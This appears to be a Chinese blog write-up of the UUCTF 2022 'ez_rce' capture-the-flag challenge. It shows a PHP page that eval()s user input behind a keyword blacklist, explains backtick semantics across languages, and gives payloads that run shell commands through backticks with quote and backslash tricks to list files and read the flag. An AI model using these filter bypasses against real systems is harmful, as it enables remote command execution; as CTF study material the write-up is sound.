[UUCTF 2022 新生赛]ez_rce

UUCTF 2022 新生赛ez_rce wp

在做这道题时,我参考了这篇博客:

https://www.cnblogs.com/bkofyZ/p/17594549.html

认识到了自己的一些不足。

题目代码如下:

复制代码
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

反引号命令执行

此前我一直以为反引号是 shell 命令里才能用的东西,所以没往这边想。现在知道 PHP 是有的,不止 PHP ,其他各大语言也有。

既然碰到了,那就认真学一下,区分一下它们之间的区别。

PHP 反引号

PHP 支持一个执行运算符:反引号( `` )。

PHP 会将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。

使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。

推荐文章:php 执行运算符

shell 反引号

shell 反引号中的命令会先执行,将执行结果返回出来,再作为外部命令的一部分。

在 shell 命令中,反引号与 $() 作用相同,都是命令替换。

比如:

复制代码
echo these are files in the directory :`ls`
# 或者
echo these are files in the directory :$(ls)

在这条命令中,ls 命令会先执行,再执行 echo 命令。返回结果:

复制代码
these are files in the directory :index.html

推荐文章:shell中的 单引号' '、双引号 " " 和 反引号`

python、go 中的反引号

python、go 中的反引号作用相同,即反引号包裹的是原始字符串,不做任何转义。

比如 \n 在反引号中不会被解释为换行,还是它原本的样子。

java 反引号

java 中的反引号有时可以作为标识符的一部分。

推荐文章:反引号 java

sql 语句反引号

sql 语句中的反引号是为了区分MySQL的保留字与普通字符而引入的符号。

例如:

复制代码
SELECT `select` FROM `test` WHERE select='字段值'

在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。

此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被当成一个数字。

推荐博客:

在mysql语句中为什么要加反引号

mysql 标识符以数字开头

shell 绕过关键字过滤

已知 PHP 反引号中的内容会被当成 shell 命令来执行,shell 命令在绕过关键字过滤时,最简单的方法有以下两种:

复制代码
cat 替换为 c\at
cat 替换为 c''at 。

这样就没问题了。

payload

查看根目录下的文件:

复制代码
print(`l\s /`);

查看 flag 文件:

复制代码
print(`c\at /fffffffffflagafag`);

拿到 flag :

疑问:

当我输入以下内容时,flag 没有输出:

复制代码
print(`ca\t /fffffffffflagafag`);

然而下面的内容却能输出:

复制代码
print(`ca''t /fffffffffflagafag`);

有大佬知道为什么吗?

相关推荐
蒲公英eric4 小时前
从客户端到服务端:DVWA DOM 型 XSS 模块完整漏洞分析教程
前端·web安全·ai·xss·dvwa·ai安全
IT大白鼠5 小时前
MSF二次开发与自定义模块编写
网络·安全·web安全·msf
Best-Wishes10 小时前
BurpSuite Pro教育版在linux系统中配置
linux·运维·服务器·网络安全·burpsuite
菩提小狗17 小时前
每日安全情报报告 · 2026-08-30
网络安全·漏洞·cve·安全情报·每日安全
其实防守也摸鱼18 小时前
智能体推荐:精选 AI Agent 工具与实战指南
运维·开发语言·人工智能·学习·web安全·自动化
Best-Wishes1 天前
好靶场杯第一届-古法 流量包分析
计算机网络·web安全·安全威胁分析
2601_962072501 天前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
黄俊懿2 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第八节:网关-注入攻击与预防
sql·网络安全·架构·系统架构·架构师·架构设计
黄俊懿2 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第七节:网关-XSS攻击与预防
网关·网络安全·架构·系统架构·架构师·xss·架构设计
数据知道2 天前
.NET 反序列化漏洞——ViewState 与 BinaryFormatter 实战深度剖析
网络·网络安全·.net